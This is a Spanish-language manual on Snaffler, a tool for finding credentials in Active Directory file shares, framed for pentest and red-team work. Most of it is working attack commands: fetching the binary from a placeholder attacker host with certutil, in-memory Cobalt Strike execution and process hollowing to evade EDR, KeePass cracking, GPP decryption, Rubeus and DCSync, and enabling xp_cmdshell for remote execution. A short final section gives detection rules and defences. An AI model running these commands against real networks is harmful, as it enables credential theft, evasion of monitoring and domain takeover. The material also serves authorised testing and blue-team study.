Snaffler: Caza de credenciales en AD
Manual completo de uso ofensivo y defensivo de Snaffler para la búsqueda de contraseñas, claves privadas y datos sensibles en shares de Active Directory.
Introducción a Snaffler
¿Qué es Snaffler?
Snaffler es una herramienta de auditoría y post-explotación escrita en C# diseñada para buscar automáticamente credenciales, claves privadas y datos sensibles en recursos compartidos de red (shares) de un entorno Active Directory (AD). Su nombre proviene de la jerga inglesa que significa ‘fisgonear’ o ‘robar’.
En un pentest o ejercicio de red team, una vez obtenemos acceso a una máquina dentro del dominio, Snaffler nos permite escalar privilegios o movernos lateralmente aprovechando credenciales olvidadas en miles de archivos distribuidos por los shares corporativos.
¿Por qué es tan efectiva?
En entornos empresariales es habitual encontrar:
- Scripts de instalación con contraseñas en texto plano
- Archivos
.configcon connection strings a bases de datos - Claves privadas SSH/PEM sin cifrar
- Hojas de Excel con inventarios de credenciales
- Backups de archivos
web.configoappsettings.json - Scripts PowerShell con credenciales hardcodeadas
Snaffler enumera todos los shares accesibles del dominio, filtra automáticamente los archivos interesantes usando reglas clasificadas por nivel de peligrosidad, y presenta los resultados priorizados para que el auditor pueda centrarse en los hallazgos más críticos.
Posicionamiento en el ciclo de ataque
| Fase | Uso de Snaffler |
|---|---|
| Post-explotación inicial | Búsqueda de credenciales para escalar privilegios |
| Movimiento lateral | Encontrar accesos a otros sistemas/servicios |
| Persistencia | Identificar scripts de inicio con credenciales |
| Exfiltración | Localizar datos sensibles de negocio |
| Auditoría defensiva | Inventario de exposición de datos en shares |
Instalación y compilación
Requisitos previos
- .NET Framework 4.5+ o .NET 6+ (según la versión)
- Acceso a un sistema Windows unido al dominio AD (o credenciales de dominio)
- Visual Studio 2019/2022 o MSBuild para compilar desde fuente
Opción 1: Binario precompilado (GitHub Releases)
La forma más rápida. Descarga el ejecutable directamente desde el repositorio oficial:
# Descargar el release mas reciente
Invoke-WebRequest -Uri 'https://github.com/SnaffCon/Snaffler/releases/latest/download/Snaffler.exe' `
-OutFile 'C:\Tools\Snaffler.exe'
# Verificar que funciona
C:\Tools\Snaffler.exe --helpOpción 2: Compilar desde fuente
# Clonar el repositorio
git clone https://github.com/SnaffCon/Snaffler.git
cd Snaffler
# Compilar con MSBuild (requiere Visual Studio Build Tools)
msbuild Snaffler.sln /p:Configuration=Release
# El binario estara en:
# Snaffler\bin\Release\Snaffler.exeOpción 3: Transferir a máquina comprometida
# Servidor HTTP en atacante (Kali):
python3 -m http.server 8080
# En la victima Windows (PowerShell):
Invoke-WebRequest -Uri 'http://ATACANTE:8080/Snaffler.exe' -OutFile 'C:\Temp\Snaffler.exe'
# Alternativa con certutil:
certutil.exe -urlcache -split -f http://ATACANTE:8080/Snaffler.exe Snaffler.execertutil.exe si Invoke-WebRequest está bloqueado por restricciones de PowerShell.Integración con frameworks C2
| Framework | Método de integración |
|---|---|
| Cobalt Strike | Beacon: execute-assembly Snaffler.exe -s |
| Metasploit | Módulo execute_assembly (payload CLR) |
| Havoc C2 | Assembly execution via módulo dotnet |
| Sliver | execute-assembly con el binario Snaffler |
Uso básico y parámetros esenciales
Sintaxis general
Snaffler.exe [opciones]
# Opciones principales:
-s Solo escanear (output a stdout, sin escribir a disco)
-o <fichero> Guardar resultados en fichero de log
-v <level> Verbosidad: Trace, Debug, Info, Data, Warn, Error, Fatal
-l <nivel> Nivel minimo de severidad: Black, Red, Yellow, Green
-m <MB> Tamano maximo de archivo a leer (default: 500 KB)
-t <threads> Numero de hilos (default: 30)
-d <dominio> Especificar dominio AD manualmente
-c <DC> Controlador de dominio a consultar
-i <share> Escanear un share especifico
-n No enumerar shares (solo los de -i)
-r <reglas> Fichero de reglas personalizado (Toml)Ejecución mínima: escaneo completo del dominio
# Ejecucion basica - Snaffler detecta el dominio automaticamente
Snaffler.exe -s -v Data
# Con salida a fichero de log
Snaffler.exe -o C:\Temp\snaffler_output.log -v Data
# Mostrar solo hallazgos Red y Black (mas criticos)
Snaffler.exe -s -l Red -v Data-s evita escribir a disco (modo STDOUT). Recomendado en pentests para no dejar artefactos.Especificar dominio y controlador de dominio
# Cuando Snaffler no detecta el dominio automaticamente
Snaffler.exe -s -d corp.local -c dc01.corp.local -v Data
# Usando credenciales especificas (algunas versiones):
Snaffler.exe -s -d corp.local -u auditor -p 'P@ssw0rd!' -v DataEscanear un share específico
# Escanear un share concreto sin enumerar el dominio
Snaffler.exe -i \\SERVIDOR\Compartido -n -v Data
# Multiples shares (separados por coma)
Snaffler.exe -i \\SRV01\SYSVOL,\\SRV02\Backup -n -v DataControlar el tamaño máximo de archivo
# Por defecto Snaffler no lee archivos > 500 KB
# Aumentar el limite a 5 MB:
Snaffler.exe -s -m 5000 -v Data
# Para archivos de base de datos y backups grandes:
Snaffler.exe -s -m 50000 -v Data-m puede hacer el escaneo mucho más lento. Sólo úsalo si buscas tipos específicos como .mdf, .bak o dumps de memoria.Sistema de clasificación y niveles de hallazgo
Niveles de severidad
Snaffler clasifica cada hallazgo en uno de cuatro niveles de criticidad:
| Nivel | Descripción | Ejemplos |
|---|---|---|
| Black | Crítico — credenciales directamente utilizables | KeePass .kdbx, NTDS.dit, SAM+SYSTEM hive |
| Red | Muy alto — muy probable contenido sensible | Claves privadas RSA/PEM, .config con passwords, scripts PS con creds |
| Yellow | Medio — posiblemente interesante | Scripts de instalación, .inf, connection strings sospechosas |
| Green | Bajo — información útil de reconocimiento | Archivos de configuración genéricos, inventarios de software |
-l Red para ver solo los más críticos y evitar ruido en entornos con muchos shares.¿Qué busca Snaffler exactamente?
| Categoría | Ejemplos de patrones buscados |
|---|---|
| Contraseñas en texto plano | password=, pwd=, pass:, secret= |
| Claves privadas | Cabeceras BEGIN RSA PRIVATE KEY, BEGIN EC PRIVATE KEY |
| Tokens y API keys | Patrones de AWS keys, Azure SAS tokens, GitHub tokens |
| Hashes | NTLM hashes, bcrypt, SHA-256 en contextos de configuración |
| Connection strings | Data Source=, Server=, mongodb://, jdbc: |
| Certificados | Archivos .pfx, .p12, .cer con clave privada |
| Scripts con credenciales | Scripts .bat, .ps1, .vbs con patrones de autenticación |
Interpretar una línea de output
[Data] [Yellow] {SomeRule} \\SRV01\IT\Scripts\install.bat (18.3 KB) [Rule: PasswordInFileContent] -> 'set DB_PASS=Sup3rS3cret!'Anatomía del output:
[Data]→ Nivel de log del mensaje[Yellow]→ Nivel de severidad del hallazgo{SomeRule}→ Nombre de la regla que lo detectó- Ruta UNC del archivo encontrado
- Tamaño del archivo
[Rule: PasswordInFileContent]→ Regla específica activada- Fragmento del contenido que activó la regla
Targets más valiosos en AD
SYSVOL: el jackpot del dominio
El share SYSVOL es accesible por todos los usuarios del dominio y contiene scripts de inicio de sesión, políticas de grupo y configuraciones que históricamente han almacenado contraseñas en texto plano (Group Policy Preferences - GPP).
# Snaffler escaneara SYSVOL automaticamente
# Para hacerlo explicito:
Snaffler.exe -i \\corp.local\SYSVOL -n -v Data -o sysvol_results.logcpassword en archivos XML) pueden descifrarse con la clave AES publicada por Microsoft. Snaffler las detecta automáticamente.Shares de TI y administración
Los shares de los equipos de TI suelen ser los más jugosos:
\\SRV\IT,\\SRV\Scripts,\\SRV\Deploy- Scripts de instalación de software con credenciales de servicio
- Runbooks y documentación con contraseñas de administración
- Backups de configuraciones de routers/switches/firewalls
Snaffler.exe -i \\SRV-IT-01 -v Data -o it_shares.logHome directories y perfiles de usuario
Los directorios de home montados en red a menudo contienen:
- Archivos
id_rsa,id_ed25519sin contraseña - Archivos
.aws/credentials,.azurecon tokens - Ficheros
*.rdpcon contraseñas guardadas - KeePass databases (
*.kdbx)
Shares de aplicaciones y desarrollo
| Tipo de share | Qué buscar |
|---|---|
| \\SRV\Dev, \\SRV\Code | Repos con appsettings.json, .env, web.config |
| \\SRV\Backup | Backups de bases de datos (.bak, .sql), SAM/NTDS |
| \\SRV\Finance | Hojas de cálculo con credenciales de banca/ERP |
| \\SRV\HR, \\SRV\RRHH | Documentos con datos personales y contraseñas temporales |
| \\SRV\Deploy, \\SRV\SCCM | Scripts de despliegue con service account credentials |
| \\SRV\Monitoring | Configuraciones Nagios/Zabbix/PRTG con SNMP community strings |
Reglas personalizadas (Toml)
Arquitectura del sistema de reglas
Snaffler usa ficheros de configuración en formato TOML para definir qué buscar. Las reglas se agrupan en Classifiers que evalúan:
File→ Por nombre o extensión del archivoContents→ Por contenido del archivo (regex)ShareName→ Por nombre del shareFilePath→ Por ruta completa del archivo
Estructura básica de un fichero de reglas
# mi_config.toml
[classifiers]
[[classifiers.rules]]
RuleName = "DetectarTokensAWS"
EnumerationScope = "FileEnumeration"
MatchAction = "Snaffle"
Severity = "Red"
Description = "AWS Access Key ID detectado"
ContentRegex = "AKIA[0-9A-Z]{16}"
[[classifiers.rules]]
RuleName = "ArchivoKeePass"
EnumerationScope = "FileEnumeration"
MatchAction = "Snaffle"
Severity = "Black"
Description = "Base de datos KeePass"
FileExtensionRegex = "\\.kdbx$"# Usar fichero de reglas personalizado
Snaffler.exe -s -r C:\Tools\mi_config.toml -v DataReglas avanzadas de ejemplo
# Detectar connection strings de SQL Server
[[classifiers.rules]]
RuleName = "SQLConnectionString"
EnumerationScope = "ContentsEnumeration"
MatchAction = "Snaffle"
Severity = "Red"
ContentRegex = "(Data Source|Server)=[\w\.-]+;.*Password=[^;]+"
# Detectar private keys de Azure Service Principal
[[classifiers.rules]]
RuleName = "AzureClientSecret"
EnumerationScope = "ContentsEnumeration"
MatchAction = "Snaffle"
Severity = "Red"
ContentRegex = "clientSecret.*[\"']([a-zA-Z0-9~_.]{34,40})[\"']"
# Detectar Ansible vault password files
[[classifiers.rules]]
RuleName = "AnsibleVault"
EnumerationScope = "ContentsEnumeration"
MatchAction = "Snaffle"
Severity = "Red"
ContentRegex = "\$ANSIBLE_VAULT"Valores de MatchAction disponibles
| MatchAction | Comportamiento |
|---|---|
| Snaffle | Reportar el hallazgo con el fragmento coincidente |
| SendToSearch | Pasar el archivo a un segundo clasificador de contenido |
| Discard | Ignorar este archivo (excluir falsos positivos) |
| CheckForKeys | Verificar si el archivo contiene claves criptográficas |
Técnicas avanzadas de post-explotación
Encadenar Snaffler con otros ataques
Los hallazgos de Snaffler raramente son el fin del ataque:
| Hallazgo Snaffler | Siguiente técnica |
|---|---|
| Contraseña de cuenta de servicio | Password Spray / Pass-the-Password |
| Hash NTLM en config | Pass-the-Hash con Mimikatz/Impacket |
| Clave privada SSH | SSH directo a servidores Linux del dominio |
| Connection string MSSQL | xp_cmdshell / SA account compromise |
| .kdbx KeePass database | KeePass hash extraction + Hashcat crack |
| Azure/AWS credentials | Cloud lateral movement / privilege escalation |
| Certificado .pfx | PKI abuse, ADCS ESC attacks |
Modo silencioso para evasion de EDR
# Ejecutar sin escribir a disco via C2 (Cobalt Strike):
execute-assembly /path/to/Snaffler.exe -s -l Red -v Data
# Limitar threads para reducir ruido en logs de red:
Snaffler.exe -s -t 5 -l Red -v Data
# Escanear solo un share a la vez para evasion:
Snaffler.exe -i \\TARGET\Share -n -s -t 2 -v Data-t 5) y apunta a shares específicos.Extraer y crackear hashes de KeePass
# 1. Snaffler encuentra: [Black] \\SRV\Users\jdoe\passwords.kdbx
# 2. Copiar el archivo
Copy-Item '\\SRV\Users\jdoe\Documents\passwords.kdbx' C:\Temp\
# 3. Extraer el hash con keepass2john (en Kali)
keepass2john passwords.kdbx > keepass.hash
# 4. Crackear con Hashcat (modo 13400 = KeePass)
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt
# 5. Abrir la base de datos con la contrasena encontrada
keepassxc-cli open corporate_passwords.kdbxAprovechar credenciales GPP descifradas
# Snaffler detecta cpassword en Groups.xml de SYSVOL
# Ejemplo de hallazgo:
# \\corp.local\SYSVOL\corp.local\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml
# Descifrar con PowerSploit:
Get-GPPPassword
# O con CrackMapExec:
cme smb TARGET -u user -p pass --gpp-passwords
# O con Impacket:
Get-GPPPassword.py -dc-ip DC_IP corp.local/user:passBúsqueda de certificados ADCS (ESC attacks)
# Snaffler encontrara archivos .pfx, .p12, .cer
# Con un certificado de maquina o usuario podemos:
# 1. Solicitar TGT con el certificado (PKINIT)
Rubeus.exe asktgt /user:TargetUser /certificate:cert.pfx /password:pfxpass /ptt
# 2. Si tenemos cert de DC -> DCSync
secretsdump.py -just-dc corp.local/DC01$ -k -no-pass -dc-ip DC_IP
# 3. Shadow Credentials attack si tenemos permisos de escritura
Whisker.exe add /target:TargetUser.pfx/.p12 sin contraseña clasifican automáticamente como [Black] en Snaffler.Análisis y procesado del output
Filtrar y procesar resultados con PowerShell
# Cargar el log de Snaffler
$log = Get-Content C:\Temp\snaffler_output.log
# Filtrar solo hallazgos Black (criticos)
$log | Where-Object { $_ -match '\[Black\]' }
# Filtrar Red y Black juntos
$log | Where-Object { $_ -match '\[Red\]|\[Black\]' }
# Contar hallazgos por nivel
$log | Select-String -Pattern '\[(Black|Red|Yellow|Green)\]' |
ForEach-Object { $_.Matches[0].Groups[1].Value } |
Group-Object | Sort-Object Count -DescendingProcesar con Python para reporting
#!/usr/bin/env python3
import re, sys
from collections import defaultdict
LEVELS = ['Black', 'Red', 'Yellow', 'Green']
results = defaultdict(list)
with open(sys.argv[1]) as f:
for line in f:
for level in LEVELS:
if f'[{level}]' in line:
results[level].append(line.strip())
break
print('=== RESUMEN DE HALLAZGOS SNAFFLER ===')
for level in LEVELS:
print(f'\n[{level}] - {len(results[level])} hallazgo(s):')
for r in results[level][:10]: # Top 10 por nivel
print(f' {r[:200]}')
# Uso: python3 parse_snaffler.py snaffler_output.logIntegración con BloodHound
Los hallazgos de Snaffler pueden correlacionarse con datos de BloodHound para priorizar:
- Si Snaffler encuentra credenciales de una cuenta que BloodHound marca como DA path → prioridad máxima
- Si encuentra connection strings de MSSQL en un servidor donde BloodHound muestra sesiones de admins → movimiento lateral clave
- Exportar rutas UNC como nodos personalizados en BloodHound para visualizar exposición
ldapdomaindump o BloodHound.py para tener contexto de qué cuentas/grupos tienen acceso a cada share comprometido.Ejercicios prácticos
Eres un pentester con acceso a una máquina Windows unida al dominio corp.local. Necesitas hacer un primer escaneo para identificar credenciales expuestas. El DC es dc01.corp.local.
Objetivo: Ejecuta Snaffler para escanear todo el dominio, guarda los resultados en C:\Temp\audit.log y muestra solo hallazgos de nivel Red o superior.
# Solucion
Snaffler.exe -d corp.local -c dc01.corp.local -o C:\Temp\audit.log -l Red -v Data
# Visualizar hallazgos criticos:
Get-Content C:\Temp\audit.log | Where-Object { $_ -match '\[Black\]|\[Red\]' }
# Contar hallazgos por nivel:
$log = Get-Content C:\Temp\audit.log
Write-Host "Black: $( ($log | Select-String '\[Black\]').Count)"
Write-Host "Red: $( ($log | Select-String '\[Red\]').Count)"Se sospecha que el equipo de IT antiguo configuró políticas de grupo con contraseñas embebidas (GPP). El dominio es megacorp.com.
Objetivo: Escanea específicamente el share SYSVOL y extrae cualquier referencia a cpassword para descifrarla.
# Paso 1: Escanear solo SYSVOL
Snaffler.exe -i \\megacorp.com\SYSVOL -n -v Data -o sysvol_audit.log
# Paso 2: Filtrar referencias a cpassword
Get-Content sysvol_audit.log | Select-String 'cpassword'
# Paso 3: Descifrar con PowerSploit:
Get-GPPPassword
# O con CrackMapExec:
cme smb megacorp.com -u '' -p '' --gpp-passwordsEl cliente usa Jenkins para CI/CD. Necesitas detectar tokens de API de Jenkins que puedan estar almacenados en scripts de build dentro de los shares.
Objetivo: Crea un fichero de reglas TOML que detecte tokens de Jenkins (cadena hexadecimal de 32 chars) y úsalo en un escaneo.
# Paso 1: Crear jenkins_rules.toml
@'
[classifiers]
[[classifiers.rules]]
RuleName = "JenkinsApiToken"
EnumerationScope = "ContentsEnumeration"
MatchAction = "Snaffle"
Severity = "Red"
Description = "Posible token de API Jenkins"
ContentRegex = "[0-9a-f]{32}"
[[classifiers.rules]]
RuleName = "JenkinsConfigFile"
EnumerationScope = "FileEnumeration"
MatchAction = "SendToSearch"
Severity = "Yellow"
Description = "Archivo de configuracion Jenkins"
FileNameRegex = "jenkins.*\\.xml$|config\\.xml$"
'@ | Out-File jenkins_rules.toml
# Paso 2: Ejecutar con las reglas personalizadas
Snaffler.exe -r .\jenkins_rules.toml -s -v DataSnaffler ha encontrado un archivo .kdbx en el share de un usuario:
\\FILESERV\Users\jsmith\My Documents\corporate_passwords.kdbx
Objetivo: Describe el proceso completo para obtener el contenido de la base de datos KeePass y escalar a Domain Admin.
# 1. Copiar el .kdbx a tu maquina local
Copy-Item '\\FILESERV\Users\jsmith\My Documents\corporate_passwords.kdbx' C:\Temp\
# 2. Transferir a Kali via C2 o SCP
# 3. En Kali: extraer el hash del .kdbx
keepass2john corporate_passwords.kdbx > keepass.hash
cat keepass.hash
# 4. Crackear con hashcat (modo 13400 = KeePass)
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt
# Con reglas para mayor cobertura:
hashcat -m 13400 keepass.hash rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 5. Abrir la base de datos con la master password crackeada
keepassxc-cli ls corporate_passwords.kdbx
keepassxc-cli show corporate_passwords.kdbx 'Domain Admin'
# 6. Usar las credenciales DA encontradas
psexec.py corp.local/Administrator:'DA_Password_Found'@DC01El cliente sospecha que hay connection strings de SQL Server expuestas en los shares. Quieres extraerlas y verificar si permiten acceso.
Objetivo: Configura Snaffler para que encuentre connection strings, extrae las credenciales del output y verifica el acceso al servidor SQL.
# 1. Snaffler busca automaticamente connection strings
Snaffler.exe -s -v Data | Tee-Object -FilePath cs_audit.log
Get-Content cs_audit.log | Select-String -Pattern 'password=|Data Source=' -CaseSensitive:$false
# 2. Si encontramos: Data Source=SQLSRV01;Initial Catalog=Finance;User ID=sa;Password=Adm1n2024!
# 3. Verificar acceso con sqlcmd:
sqlcmd -S SQLSRV01 -U sa -P 'Adm1n2024!' -Q 'SELECT @@VERSION'
# 4. Si SA tiene acceso, habilitar xp_cmdshell para RCE:
sqlcmd -S SQLSRV01 -U sa -P 'Adm1n2024!' -Q "
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';"
# 5. Alternativa con Impacket:
mssqlclient.py sa:'Adm1n2024!'@SQLSRV01
> enable_xp_cmdshell
> xp_cmdshell whoamiEl cliente tiene CrowdStrike activo y un SIEM (Splunk). Necesitas usar Snaffler de forma que minimices las alertas, centrándote en el share de RRHH \\HRSRV\HR_Data.
Objetivo: Diseña una estrategia de ejecución stealthy y el comando concreto.
Estrategia de evasion:
- Ejecutar desde memoria via C2 (
execute-assembly) para no tocar disco - Usar pocos threads para no generar picos de tráfico SMB detectables
- Apuntar a un share específico en lugar de enumerar todo el dominio (menos queries LDAP)
- Ejecutar en horario de negocio para mezclar el tráfico con el normal
# Desde Cobalt Strike (ejecuta en memoria, no escribe a disco)
execute-assembly /path/to/Snaffler.exe -i \\HRSRV\HR_Data -n -l Red -t 3 -v Data
# Desglose de parametros para evasion:
# -i -> Share especifico (sin enumerar LDAP masivamente)
# -n -> No enumerar shares adicionales
# -l Red -> Solo hallazgos criticos (menos queries, menos ruido)
# -t 3 -> 3 threads (trafico SMB bajo y lento)
# -v Data -> Solo log de datos (sin mensajes de debug)
# Alternativa: process hollowing para ocultar el proceso
spawnto x64 %windir%\sysnative\svchost.exe
execute-assembly /path/to/Snaffler.exe -i \\HRSRV\HR_Data -n -l Red -t 3Tras un escaneo completo tienes el fichero audit_results.log con miles de líneas. Necesitas un informe ejecutivo que muestre los hallazgos más críticos con su contexto.
Objetivo: Escribe un script Python que procese el log y genere un resumen estructurado.
#!/usr/bin/env python3
"""parse_snaffler.py - Genera resumen ejecutivo del output de Snaffler"""
import re, sys
from collections import defaultdict
from datetime import datetime
LEVELS = ['Black', 'Red', 'Yellow', 'Green']
def parse_log(filename):
results = defaultdict(list)
with open(filename, encoding='utf-8', errors='ignore') as f:
for line in f:
for level in LEVELS:
if f'[{level}]' in line:
results[level].append(line.strip())
break
return results
def generate_report(results):
total = sum(len(v) for v in results.values())
print(f'=== SNAFFLER EXECUTIVE REPORT ===')
print(f'Generado: {datetime.now().strftime("%Y-%m-%d %H:%M:%S")}')
print(f'TOTAL HALLAZGOS: {total}\n')
for level in LEVELS:
items = results.get(level, [])
if not items: continue
print(f'[{level}] - {len(items)} hallazgo(s)')
print('-' * 60)
for item in items[:10]:
print(f' {item[:200]}')
print()
if __name__ == '__main__':
if len(sys.argv) < 2:
print('Uso: python3 parse_snaffler.py <logfile>')
sys.exit(1)
results = parse_log(sys.argv[1])
generate_report(results)
# Uso: python3 parse_snaffler.py audit_results.log > informe.txtDetección y contramedidas defensivas
Cómo detectar el uso de Snaffler
Desde el punto de vista del Blue Team, Snaffler deja varias trazas detectables:
| Vector de detección | Indicador | Fuente de log |
|---|---|---|
| Tráfico SMB masivo | Miles de peticiones SMB en poco tiempo desde un host | Windows Event Log / NetFlow |
| LDAP queries de enumeración | Consultas LDAP buscando todos los shares del dominio | AD DS Diagnostic Logging |
| Accesos a SYSVOL inusuales | Lectura masiva de archivos XML en SYSVOL | File System Audit / SACL |
| Proceso sospechoso | Snaffler.exe accediendo a múltiples UNC paths | Sysmon Event ID 1, 3 |
| Assembly en memoria | CLR cargado en proceso no-.NET (inject via C2) | Sysmon Event ID 7 / ETW |
Regla Sigma para detección
# Regla Sigma: Enumeracion masiva de shares via SMB
title: Snaffler-like SMB Share Enumeration
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detecta enumeracion masiva de shares SMB
logsource:
category: network_connection
product: windows
detection:
selection:
EventID: 3
DestinationPort: 445
condition: selection | count() by SourceIp > 100 in 60s
falsepositives:
- Herramientas de backup legitimas
level: highMedidas preventivas recomendadas
- Auditar permisos de shares: Eliminar accesos innecesarios de ‘Todos’ o ‘Domain Users’
- DLP en shares críticos: Implementar Data Loss Prevention para detectar archivos con credenciales
- Eliminar GPP passwords: Migrar a LAPS o soluciones modernas
- SACLs en archivos sensibles: Auditar accesos de lectura a archivos .kdbx, .pfx, id_rsa
- Rotación periódica de credenciales: Aunque se encuentren, que ya no sean válidas
- Tiering model: Segregar shares por nivel de sensibilidad con permisos mínimos
Usar Snaffler como herramienta de auditoría defensiva
# Programar tarea mensual de auditoria defensiva:
$action = New-ScheduledTaskAction -Execute 'C:\Tools\Snaffler.exe' `
-Argument "-d corp.local -o C:\Audit\snaffler_$(Get-Date -f 'yyyyMMdd').log -l Yellow -v Data"
$trigger = New-ScheduledTaskTrigger -Monthly -DaysOfMonth 1 -At 02:00
Register-ScheduledTask -TaskName 'ShareAudit_Snaffler' `
-Action $action -Trigger $trigger `
-RunLevel Highest -User 'CORP\AuditSvcAccount'Cheat Sheet: comandos de referencia
Snaffler.exe -s -v Data
Snaffler.exe -o out.log -v Data
Snaffler.exe -s -l Red -v DataSnaffler.exe -d corp.local -c dc01 -s -v Data
Snaffler.exe -d corp.local -u user -p pass -sSnaffler.exe -i \\SRV\Share -n -s -v Data
Snaffler.exe -i \\S1,\\S2 -n -sSnaffler.exe -s -t 3 -l Red -v Data
execute-assembly Snaffler.exe -s -l Red -t 3Snaffler.exe -r mi_config.toml -s -v Datakeepass2john file.kdbx > h.hash
hashcat -m 13400 h.hash rockyou.txtGet-GPPPassword
cme smb DC -u u -p p --gpp-passwordscat log.txt | grep '\[Black\]\|\[Red\]'
$log | Where-Object { $_ -match 'Black|Red' }